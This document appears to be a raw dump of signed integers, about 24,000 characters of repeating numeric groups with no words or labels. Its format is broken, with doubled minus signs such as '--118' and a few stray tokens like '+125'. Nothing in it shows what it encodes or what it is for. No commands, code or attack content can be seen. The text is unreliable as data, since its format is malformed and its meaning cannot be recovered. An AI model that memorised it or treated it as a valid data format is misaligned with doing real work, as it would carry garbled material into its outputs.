-137 -136 -22 --68 --118 --118 --47 -68 -137 -137 -23 --66 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --49 -63 -137 -136 -22 --67 --118 --118 --47 -68 -137 -137 -25 --68 --118 --118 --48 -64 -137 -135 -24 --69 --118 --118 --48 -64 -137 -136 -23 --69 --118 --118 --50 -67 -137 -132 -23 --66 --118 --118 --46 -68 -137 -136 -24 --67 --118 --118 --46 -66 -137 -136 -24 --66 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --48 -65 -137 -132 -23 --70 --118 --118 --47 -67 -137 -134 -24 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -25 --68 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --47 -69 -137 -133 -26 --67 --118 --118 --50 -66 -137 -133 -23 --66 --118 --118 --46 -68 -137 -135 -24 --67 --118 --118 --46 -66 -137 -135 -23 --67 --118 --118 --46 -68 -137 -136 -25 --67 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --48 -68 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -26 --69 --118 --118 --46 -68 -137 -136 -24 --68 --118 --118 --46 -65 -137 -134 -25 --66 --118 --118 --49 -64 -137 -136 -22 --68 --118 --118 --45 -68 -137 -136 -24 --67 --118 --118 --48 -64 -137 -136 -22 --68 --118 --118 --45 -67 -137 -136 -24 --68 --118 --118 --47 -68 -137 -136 -23 --66 --118 --118 --45 -68 -137 -136 -25 --67 --118 --118 --46 -68 -137 -136 -24 --67 --118 --118 --46 -68 -137 -136 -25 --67 --118 --118 --45 -67 -137 -136 -24 --67 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --45 -67 -137 -136 -25 --68 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --46 -67 -137 -136 -23 --67 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -68 -137 -135 -24 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --45 -67 -137 -136 -24 --67 --118 --118 --48 -64 -137 -136 -22 --68 --118 --118 --45 -66 -137 -132 -23 --66 --118 --118 --47 -68 -137 -135 -24 --67 --118 --118 --46 -66 --26 --91 --101 -22 -119 -14 --75 --88 -28 -118 -14 --61 --97 -21 -110 -8 --81 --99 -18 -110 -5 --65 --98 -18 -111 -7 --82 --99 -18 -112 -7 --64 --98 -19 -112 -6 --80 --96 -19 -112 -7 --65 --99 -19 -109 -8 --83 --99 -16 -108 -4 --67 --99 -18 -112 -5 --81 --97 -19 -112 -6 --66 --96 -17 -109 -137 -137 -34 --61 --118 --118 --55 -60 -137 -128 -21 --70 --118 --118 --46 -64 -137 -135 -23 --68 --118 --118 --47 -66 -137 -135 -25 --68 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --48 -66 -137 -130 -22 --70 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --49 -64 -137 -133 -24 --70 --118 --118 --48 -67 -137 -135 -24 --66 --118 --118 --46 -68 -137 -135 -25 --67 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --49 -64 -137 -135 -23 --69 --118 --118 --47 -65 -137 -133 -25 --65 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --48 -64 -137 -133 -24 --70 --118 --118 --48 -67 -137 -133 -26 --68 --118 --118 --50 -65 -137 -133 -23 --66 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --48 -63 -137 -135 -22 --69 --118 --118 --45 -66 -137 -134 -24 --68 --118 --118 --48 -67 -137 -134 -24 --68 --118 --118 --46 -67 -137 -136 -24 --66 --118 --118 --46 -67 -137 -134 -25 --68 --118 --118 --46 -66 -137 -135 -25 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --46 -67 -137 -135 -24 --69 --118 --118 --48 -68 -137 -134 -24 --68 --118 --118 --46 -66 -137 -133 -24 --66 --118 --118 --45 -67 -137 -134 -24 --68 --118 --118 --48 -66 -137 -134 -26 --69 --118 --118 --49 -63 -137 -135 -22 --66 --118 --118 --47 -67 -137 -134 -26 --67 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --48 -67 -137 -135 -24 --66 --118 --118 --46 -67 -137 -135 -24 --68 --118 --118 --45 -66 -137 -135 -24 --68 --118 --118 --48 -68 -137 -134 -24 --68 --118 --118 --47 -68 -137 -134 -25 --67 --118 --118 --46 -66 -137 -135 -24 --67 --118 --118 --46 -66 -137 -135 -25 --68 --118 --118 --46 -65 -137 -134 -23 --67 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --47 -68 -137 -133 -25 --67 --118 --118 --45 -66 -137 -133 -24 --68 --118 --118 --48 -68 -137 -134 -24 --67 --118 --118 --46 -67 --26 --91 --100 -22 -120 -14 --59 --88 -28 -118 -13 --75 --96 -20 -112 -6 --64 --99 -17 -110 -6 --82 --99 -18 -112 -5 --64 --98 -18 -111 -7 --81 --98 -19 -112 -7 --64 --98 -19 -112 -6 --80 --97 -18 -111 -6 --66 --98 -16 -109 -8 --80 --99 -18 -110 -8 --67 --97 -18 -112 -137 -137 -34 --60 --118 --118 --57 -56 -137 -128 -19 --73 --118 --118 --50 -68 -137 -134 -24 --68 --118 --118 --46 -67 -137 -136 -26 --67 --118 --118 --46 -66 -137 -134 -23 --68 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -67 -137 -136 -26 --67 --118 --118 --46 -68 -137 -135 -25 --68 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --47 -68 -137 -133 -26 --67 --118 --118 --49 -64 -137 -133 -23 --66 --118 --118 --46 -68 -137 -134 -25 --68 --118 --118 --46 -66 -137 -135 -24 --67 --118 --118 --46 -67 -137 -135 -24 --68 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --48 -65 -137 -133 -24 --70 --118 --118 --48 -68 -137 -134 -25 --67 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --47 -68 -137 -133 -25 --67 --118 --118 --45 -67 -137 -136 -26 --67 --118 --118 --46 -66 -137 -134 -24 --68 --118 --118 --48 -66 -137 -135 -26 --67 --118 --118 --49 -63 -137 -134 -22 --69 --118 --118 --46 -67 -137 -135 -24 --68 --118 --118 --47 -68 -137 -134 -25 --67 --118 --118 --46 -66 -137 -135 -24 --69 --118 --118 --47 -66 -137 -135 -25 --68 --118 --118 --46 -68 -137 -135 -25 --67 --118 --118 --46 -67 -137 -135 -24 --69 --118 --118 --47 -69 -137 -135 -26 --68 --118 --118 --47 -66 -137 -135 -25 --68 --118 --118 --46 -68 -137 -134 -25 --68 --118 --118 --49 -63 -137 -135 -22 --69 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --46 -68 -137 -135 -25 --67 --118 --118 --45 -67 -137 -134 -24 --68 --118 --118 --48 -64 -137 -134 -23 --70 --118 --118 --50 -64 -137 -133 -22 --66 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --49 -63 -137 -135 -22 --68 --118 --118 --47 -65 -137 -133 -26 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --48 -68 -137 -134 -24 --68 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --46 -66 -137 -135 -25 --68 --118 --118 --45 -67 -137 -134 -24 --68 --118 --118 --49 -65 -137 -132 -24 --66 --118 --118 --47 -68 -137 -134 -25 --67 --118 --118 --46 -67 -137 -134 -25 --68 --118 --118 --47 -69 -137 -135 -27 --69 --118 --118 --47 -67 -137 -133 -24 --67 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -66 -137 -135 -25 --67 --118 --118 --46 -68 -137 -135 -25 --67 --118 --118 --47 -68 -137 -135 -25 --67 --118 --118 --46 -66 --27 --91 --101 -22 -120 -14 --59 --89 -27 -118 -12 --76 --96 -20 -112 -6 --64 --98 -18 -110 -6 --82 --99 -18 -111 -6 --65 --98 -19 -111 -6 --80 --97 -19 -112 -7 --65 --98 -19 -112 -8 --80 --98 -18 -112 -6 --66 --96 -17 -111 -9 --83 --98 -17 -112 -7 --66 --99 -19 -111 -6 --81 --97 -16 -110 -8 --64 --99 -19 -109 -8 --83 --98 -17 -112 -7 --65 --98 -18 -112 -8 --81 --97 -19 -112 -6 --64 --97 -19 -112 -7 --81 --98 -19 -112 -6 --64 --98 -19 -112 -7 --82 --98 -19 -112 -6 --64 --98 -18 -111 -7 --82 --99 -18 -112 -6 --64 --97 -20 -112 -6 --80 --97 -18 -111 -6 --66 --98 -19 -112 -137 -137 -35 --59 --118 --118 --55 -58 -137 -130 -21 --71 --118 --118 --46 -66 -137 -135 -25 --68 --118 --118 --47 -66 -137 -135 -25 --67 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --47 -66 -137 -135 -25 --68 --118 --118 --47 -67 -137 -135 -25 --67 --118 --118 --46 -67 -137 -134 -25 --68 --118 --118 --47 -68 -137 -135 -27 --69 --118 --118 --46 -68 -137 -135 -24 --68 --118 --118 --46 -66 -137 -134 -26 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --45 -67 -137 -135 -25 --68 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --46 -65 -137 -135 -27 --69 --118 --118 --49 -62 -137 -134 -22 --68 --118 --118 --47 -68 -137 -135 -26 --67 --118 --118 --47 -68 -137 -133 -24 --67 --118 --118 --46 -66 -137 -134 -25 --67 --118 --118 --46 -66 -137 -136 -26 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --47 -69 -137 -136 -27 --68 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --46 -66 -137 -135 -25 --68 --118 --118 --48 -64 -137 -136 -23 --69 --118 --118 --50 -66 -137 -132 -23 --66 --118 --118 --46 -68 -137 -134 -25 --67 --118 --118 --46 -66 -137 -135 -23 --67 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --46 -66 -137 -135 -25 --68 --118 --118 --47 -67 -137 -133 -26 --66 --118 --118 --50 -64 -137 -133 -22 --66 --118 --118 --47 -67 -137 -135 -25 --67 --118 --118 --45 -67 -137 -136 -25 --68 --118 --118 --49 -63 -137 -135 -22 --68 --118 --118 --46 -65 -137 -131 -22 --70 --118 --118 --47 -68 --27 --92 --101 -22 -119 -16 --59 --89 -26 -117 -14 --78 --97 -21 -110 -7 --65 --99 -18 -111 -6 --82 --98 -19 -112 -8 --65 --99 -18 -112 -8 --81 --98 -20 -111 -9 --67 --96 -17 -112 -9 --82 --97 -15 -108 -5 --68 --102 -15 -113 -8 --84 --101 -14 -113 -10 --65 --100 -15 -110 -9 --82 --100 -15 -113 -137 -137 -34 --56 --118 --118 --57 -57 -137 -130 -19 --69 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --45 -66 -137 -136 -24 --68 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -66 -137 -134 -23 --69 --118 --118 --48 -67 -137 -135 -23 --66 --118 --118 --46 -66 -137 -136 -25 --68 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --50 -63 -137 -136 -22 --67 --118 --118 --48 -68 -137 -136 -23 --66 --118 --118 --46 -67 -137 -134 -24 --67 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --48 -64 -137 -136 -22 --69 --118 --118 --47 -69 -137 -135 -24 --67 --118 --118 --46 -69 -137 -134 -26 --68 --118 --118 --49 -64 -137 -136 -22 --66 --118 --118 --47 -68 -137 -135 -24 --67 --118 --118 --45 -66 -137 -136 -23 --66 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --45 -67 -137 -136 -24 --68 --118 --118 --47 -68 -137 -134 -26 --65 --118 --118 --50 -64 -137 -134 -22 --66 --118 --118 --46 -67 -137 -135 -24 --68 --118 --118 --46 -67 -137 -135 -24 --68 --118 --118 --45 -67 -137 -136 -24 --68 --118 --118 --49 -63 -137 -136 -22 --68 --118 --118 --46 -65 -137 -132 -22 --70 --118 --118 --47 -67 -137 -134 -24 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -68 -137 -136 -24 --67 --118 --118 --46 -67 -137 -136 -24 --67 --118 --118 --45 -68 -137 -136 -25 --67 --118 --118 --46 -66 -137 -136 -24 --66 --118 --118 --45 -68 -137 -136 -24 --68 --118 --118 --49 -64 -137 -136 -23 --66 --118 --118 --46 -68 -137 -136 -26 --66 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --49 -64 -137 -136 -22 --66 --118 --118 --47 -68 -137 -135 -25 --67 --118 --118 --47 -67 -137 -137 -23 --66 --118 --118 --49 -65 -137 -134 -22 --66 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --45 -68 -137 -136 -25 --67 --118 --118 --46 -70 -137 -136 -25 --67 --118 --118 --45 -67 -137 -136 -25 --67 --118 --118 --46 -68 -137 -135 -24 --68 --118 --118 --48 -65 -137 -133 -24 --70 --118 --118 --47 -67 -137 -136 -25 --67 --118 --118 --46 -68 -137 -135 -24 --68 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -25 --68 --118 --118 --45 -65 -137 -131 -22 --69 --118 --118 --50 -66 -137 -133 -23 --66 --118 --118 --47 -68 -137 -134 -25 --67 --118 --118 --46 -66 --25 --92 --102 -23 -118 -13 --76 --87 -25 -120 -10 --60 --96 -20 -111 -6 --80 --99 -18 -111 -6 --66 --99 -18 -111 -5 --80 --98 -18 -111 -6 --66 --99 -19 -112 -6 --80 --97 -19 -112 -7 --65 --98 -19 -112 -6 --80 --97 -19 -112 -7 --66 --98 -19 -112 -7 --80 --97 -20 -112 -8 --65 --98 -19 -110 -137 -137 -34 --59 --118 --118 --54 -59 -137 -131 -21 --70 --118 --118 --47 -65 -137 -133 -24 --67 --118 --118 --46 -65 -137 -133 -23 --69 --118 --118 --48 -66 -137 -134 -24 --68 --118 --118 --47 -66 -137 -136 -23 --66 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --45 -68 -137 -135 -25 --68 --118 --118 --46 -68 --28 --91 --100 -22 -120 -14 --60 --88 -24 -114 -10 --80 --99 -17 -114 -9 --67 --101 -14 -111 -9 --81 --101 -14 -110 -9 --66 --101 -14 -113 -9 --82 --100 -15 -112 -10 --65 --100 -15 -112 -10 --82 --101 -15 -111 -9 --66 --101 -15 -112 -10 --81 --100 -15 -110 -9 --66 --101 -15 -113 -137 -137 -34 --57 --118 --118 --54 -61 -137 -130 -21 --71 --118 --118 --46 -66 -137 -135 -24 --67 --118 --118 --46 -67 -137 -134 -25 --68 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --45 -66 -137 -134 -24 --67 --118 --118 --46 -66 -137 -135 -25 --67 --118 --118 --46 -67 -137 -133 -23 --69 --118 --118 --49 -64 -137 -135 -23 --66 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --48 -64 -137 -136 -23 --68 --118 --118 --46 -65 -137 -131 -22 --69 --118 --118 --50 -68 -137 -132 -23 --66 --118 --118 --47 -68 -137 -134 -26 --66 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --48 -67 -137 -134 -23 --66 --118 --118 --46 -66 -137 -134 -24 --68 --118 --118 --50 -63 -137 -135 -22 --67 --118 --118 --47 -68 -137 -135 -26 --67 --118 --118 --46 -66 -137 -135 -25 --67 --118 --118 --46 -66 -137 -135 -24 --67 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --50 -63 -137 -136 -22 --69 --118 --118 --45 -67 -137 -134 -24 --68 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --47 -68 -137 -132 -24 --65 --118 --118 --47 -67 -137 -133 -25 --67 --118 --118 --45 -67 -137 -135 -25 --68 --118 --118 --46 -66 -137 -135 -25 --68 --118 --118 --46 -67 -137 -134 -25 --67 --118 --118 --45 -67 -137 -135 -24 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -66 -137 -134 -24 --68 --118 --118 --46 -66 -137 -135 -25 --68 --118 --118 --45 -66 -137 -133 -24 --68 --118 --118 --48 -67 -137 -135 -24 --66 --118 --118 --46 -67 -137 -134 -25 --67 --118 --118 --46 -66 -137 -135 -25 --66 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -66 --26 --91 --101 -22 -120 -13 --60 --88 -25 -115 -10 --78 --96 -19 -113 -8 --65 --100 -16 -112 -4 --81 --99 -18 -112 -5 --64 --98 -18 -111 -7 --82 --98 -19 -112 -6 --64 --98 -19 -112 -8 --81 --99 -18 -111 -7 --65 --99 -19 -112 -6 --81 --97 -18 -112 -7 --65 --98 -19 -112 -6 --80 --97 -19 -112 -7 --65 --98 -19 -111 -7 --80 --98 -19 -112 -6 --64 --97 -18 -110 -6 --82 --98 -19 -113 -7 --66 --97 -16 -108 -4 --84 --102 -16 -113 -9 --67 --101 -14 -112 -9 --81 --101 -15 -111 -9 --66 --101 -14 -113 -10 --78 --102 -14 -112 -9 --66 --100 -15 -113 -10 --81 --100 -14 -111 -9 --66 --101 -15 -111 -137 -137 -34 --57 --118 --118 --58 -56 -137 -129 -18 --69 --118 --118 --48 -67 -137 -133 -23 --68 --118 --118 --47 -67 -137 -134 -26 --69 --118 --118 --50 -66 -137 -132 -22 --66 --118 --118 --47 -68 -137 -136 -26 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --48 -66 -137 -131 -22 --70 --118 --118 --47 -67 -137 -135 -25 --68 --118 --118 --46 -67 -137 -136 -26 --67 --118 --118 --46 -66 -137 -136 -25 --68 --118 --118 --49 -63 -137 -135 -22 --67 --118 --118 --47 -68 -137 -133 -23 --68 --118 --118 --47 -68 -137 -134 -26 --69 --118 --118 --46 -68 -137 -135 -25 --67 --118 --118 --49 -63 -137 -134 -22 --69 --118 --118 --45 -67 -137 -136 -25 --67 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --48 -68 -137 -135 -23 --67 --118 --118 --49 -63 -137 -134 -23 --69 --118 --118 --49 -63 -137 -135 -22 --68 --118 --118 --47 -68 -137 -136 -26 --67 --118 --118 --45 -67 -137 -134 -25 --67 --118 --118 --47 -68 -137 -132 -25 --65 --118 --118 --47 -67 -137 -136 -26 --67 --118 --118 --46 -68 -137 -135 -25 --67 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --49 -64 -137 -135 -23 --68 --118 --118 --46 -64 -137 -130 -22 --70 --118 --118 --47 -67 -137 -133 -26 --67 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --46 -66 -137 -135 -25 --67 --118 --118 --45 -67 -137 -134 -24 --68 --118 --118 --49 -64 -137 -135 -22 --69 --118 --118 --47 -65 -137 -134 -24 --69 --118 --118 --48 -68 -137 -135 -25 --68 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --45 -66 -137 -135 -24 --68 --118 --118 --48 -67 -137 -135 -23 --66 --118 --118 --46 -66 -137 -134 -24 --68 --118 --118 --49 -63 -137 -135 -23 --69 --118 --118 --45 -67 -137 -135 -25 --67 --118 --118 --46 -65 -137 -134 -26 --66 --118 --118 --50 -64 -137 -134 -23 --65 --118 --118 --46 -66 -137 -134 -24 --68 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -65 -137 -136 -23 --66 --118 --118 --50 -63 --29 --95 --88 -18 -120 -15 --62 --91 -23 -116 -14 --78 --98 -16 -111 -9 --66 --102 -14 -108 -8 --83 --102 -14 -111 -9 --66 --101 -15 -110 -9 --82 --100 -15 -112 -10 --65 --100 -15 -111 -9 --81 --100 -15 -111 -9 --66 --100 -16 -113 -10 --80 --100 -16 -110 -8 --67 --100 -15 -112 -10 --81 --100 -16 -109 -6 --68 --101 -15 -113 -10 --81 --100 -15 -108 -7 --67 --101 -15 -113 -10 --81 --100 -15 -109 -7 --67 --101 -15 -113 -10 --80 --100 -16 -108 -5 --68 --100 -14 -111 -9 --81 --100 -14 -111 -9 --66 --100 -15 -112 -10 --82 --100 -15 -112 -10 --65 --100 -15 -111 -9 --81 --100 -15 -108 -7 --67 --101 -15 -113 -10 --81 --100 -15 -109 -7 --67 --101 -15 -113 -10 --81 --101 -15 -109 -7 --67 --100 -15 -114 -10 --81 --100 -15 -110 -8 --67 --100 -15 -113 -10 --81 --100 -15 -109 -7 --67 --101 -14 -112 -10 --81 --100 -15 -108 -7 --67 --101 -15 -113 -10 --81 --101 -15 -109 -7 --67 --101 -15 -112 -137 -137 -34 --57 --118 --118 --57 -56 -137 -129 -19 --73 --118 --118 --51 -65 -137 -132 -22 --66 --118 --118 --46 -68 -137 -135 -25 --67 --118 --118 --45 -67 -137 -135 -23 --66 --118 --118 --46 -68 -137 -135 -25 --67 --118 --118 --46 -66 -137 -135 -24 --69 --118 --118 --48 -66 -137 -134 -23 --66 --118 --118 --45 -67 -137 -134 -24 --68 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --48 -65 -137 -131 -22 --68 --118 --118 --50 -67 -137 -132 -24 --65 --118 --118 --47 -67 -137 -134 -24 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --45 -67 -137 -136 -25 --68 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --45 -67 -137 -135 -26 --67 --118 --118 --47 -68 -137 -134 -25 --68 --118 --118 --45 -66 -137 -136 -24 --68 --118 --118 --47 -66 -137 -135 -25 --68 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --46 -66 -137 -135 -23 --67 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --47 -68 -137 -134 -26 --67 --118 --118 --47 -66 -137 -135 -24 --69 --118 --118 --48 -67 -137 -135 -24 --68 --118 --118 --46 -66 -137 -135 -25 --68 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --45 -67 -137 -134 -24 --68 --118 --118 --48 -68 -137 -134 -24 --68 --118 --118 --47 -68 -137 -135 -25 --67 --118 --118 --47 -66 --27 --92 --101 -22 -119 -15 --58 --88 -28 -118 -12 --75 --96 -20 -111 -6 --66 --100 -18 -111 -5 --80 --98 -18 -111 -7 --65 --98 -17 -112 -7 --81 --100 -19 -110 -9 --67 --96 -18 -112 -7 --82 --98 -18 -113 -6 --64 --97 -19 -112 -7 --82 --98 -18 -112 -5 --64 --98 -19 -112 -7 --81 --99 -19 -111 -137 -137 -34 --58 --118 --118 --54 -60 -137 -131 -21 --71 --118 --118 --46 -66 -137 -136 -24 --69 --118 --118 --47 -69 -137 -134 -24 --68 --118 --118 --47 -67 -137 -134 -26 --66 --118 --118 --50 -64 -137 -135 -22 --66 --118 --118 --48 -68 -137 -134 -25 --67 --118 --118 --47 -66 -137 -136 -23 --68 --118 --118 --47 -66 -137 -136 -25 --68 --118 --118 --47 -68 -137 -135 -24 --68 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --48 -64 -137 -133 -24 --70 --118 --118 --47 -68 -137 -134 -24 --67 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --48 -68 -137 -134 -24 --68 --118 --118 --47 -68 -137 -134 -25 --66 --118 --118 --45 -67 -137 -136 -24 --68 --118 --118 --47 -69 -137 -136 -25 --67 --118 --118 --46 -66 -137 -136 -23 --68 --118 --118 --46 -67 -137 -136 -26 --68 --118 --118 --46 -67 -137 -135 -24 --67 --118 --118 --45 -66 -137 -135 -23 --68 --118 --118 --47 -66 -137 -136 -25 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --48 -66 -137 -131 -22 --69 --118 --118 --49 -64 -137 -134 -23 --66 --118 --118 --47 -68 -137 -136 -26 --66 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --48 -68 -137 -134 -24 --67 --118 --118 --47 -69 -137 -135 -24 --67 --118 --118 --45 -68 -137 -136 -25 --68 --118 --118 --45 -66 -137 -132 -22 --68 --118 --118 --49 -66 -137 -132 -23 --66 --118 --118 --46 -68 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -23 --68 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --45 -67 -137 -136 -24 --67 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --46 -67 -137 -134 -23 --68 --118 --118 --49 -64 -137 -135 -23 --70 --118 --118 --50 -66 -137 -132 -23 --66 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --46 -68 -137 -135 -24 --68 --118 --118 --46 -66 -137 -136 -25 --66 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --46 -66 -137 -136 -25 --68 --118 --118 --45 -66 -137 -136 -25 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --48 -67 -137 -134 -23 --68 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -23 --68 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --48 -68 -137 -136 -26 --67 --118 --118 --46 -68 -137 -134 -23 --68 --118 --118 --48 -64 -137 -136 -23 --69 --118 --118 --50 -66 --25 --93 --88 -18 -120 -16 --77 --91 -22 -120 -15 --60 --98 -18 -111 -9 --83 --97 -15 -109 -8 --68 --100 -19 -109 -8 --81 --98 -19 -111 -6 --64 --98 -19 -111 -7 --82 --99 -19 -112 -6 --64 --97 -20 -112 -8 --81 --99 -19 -111 -8 --66 --100 -19 -111 -7 --81 --99 -19 -111 -9 --66 --98 -17 -108 -137 -137 -33 --60 --118 --118 --58 -60 -137 127 -19 --69 --118 --118 --48 -67 -137 -134 -25 --68 --118 --118 --46 -66 -137 -134 -24 --68 --118 --118 --48 -69 -137 -136 -25 --68 --118 --118 --49 -64 -137 -136 -23 --66 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --46 -66 -137 -135 -24 --67 --118 --118 --46 -66 -137 -136 -25 --68 --118 --118 --46 -68 -137 -136 -26 --67 --118 --118 --46 -68 -137 -134 -25 --67 --118 --118 --45 -66 -137 -135 -24 --66 --118 --118 --46 -67 -137 -136 -26 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --48 -64 -137 -133 -24 --70 --118 --118 --48 -66 -137 -134 -24 --68 --118 --118 --46 -67 --25 --91 --101 -22 -120 +125 14 --60 --87 -24 -114 -10 --79 --98 -16 -114 -10 --65 --102 -14 -109 -8 --82 --102 -14 -112 -9 --66 --101 -14 -110 -9 --82 --101 -14 -113 -10 --65 --100 -15 -111 -10 --82 --100 -15 -113 -10 --65 --100 -14 -110 -9 --82 --101 -14 -113 -10 --66 --101 -15 -110 -9 --82 --101 -14 -113 -137 -137 -33 --57 --118 --118 --56 -60 -137 -128 -21 --70 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --49 -63 -137 -135 -22 --67 --118 --118 --47 -68 -137 -134 -25 --67 --118 --118 --46 -67 -137 -135 -24 --67 --118 --118 --46 -67 -137 -136 -26 --67 --118 --118 --46 -68 -137 -136 -24 --68 --118 --118 --46 -66 -137 -134 -23 --68 --118 --118 --48 -67 -137 -135 -23 --68 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --48 -64 -137 -135 -23 --70 --118 --118 --50 -65 -137 -134 -23 --66 --118 --118 --47 -68 -137 -136 -25 --67 --118 --118 --46 -66 -137 -136 -26 --67 --118 --118 --48 -64 -137 -136 -22 --66 --118 --118 --46 -68 -137 -135 -24 --67 --118 --118 --45 -67 -137 -137 -26 --66 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --46 -66 -137 -134 -24 --68 --118 --118 --48 -65 -137 -134 -24 --70 --118 --118 --47 -67 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --46 -66 -137 -136 -23 --67 --118 --118 --46 -68 -137 -135 -25 --67 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --46 -67 -137 -136 -25 --68 --118 --118 --45 -68 -137 -136 -25 --68 --118 --118 --48 -66 --26 --90 --102 -21 -119 -15 --75 --88 -27 -120 -13 --62 --95 -16 -108 -4 --84 --102 -14 -112 -9 --67 --102 -14 -110 -9 --82 --101 -14 -112 -9 --66 --101 -15 -112 -10 --81 --101 -15 -110 -8 --66 --101 -15 -113 -10 --81 --100 -15 -112 -10 --65 --100 -15 -112 -10 --81 --100 -14 -113 -10 --65 --100 -15 -112 -137 -137 -34 --57 --118 --118 --56 -60 -137 -130 -23 --72 --118 --118 --48 -68 -137 -133 -24 --68 --118 --118 --47 -68 -137 -133 -26 --66 --118 --118 --50 -66 -137 -133 -23 --66 --118 --118 --47 -68 -137 -133 -24 --67 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --46 -67 --26 --92 --101 -21 -119 -14 --59 --87 -26 -119 -14 --77 --97 -17 -108 -4 --67 --98 -17 -109 -8 --84 --98 -17 -112 -7 --66 --99 -18 -112 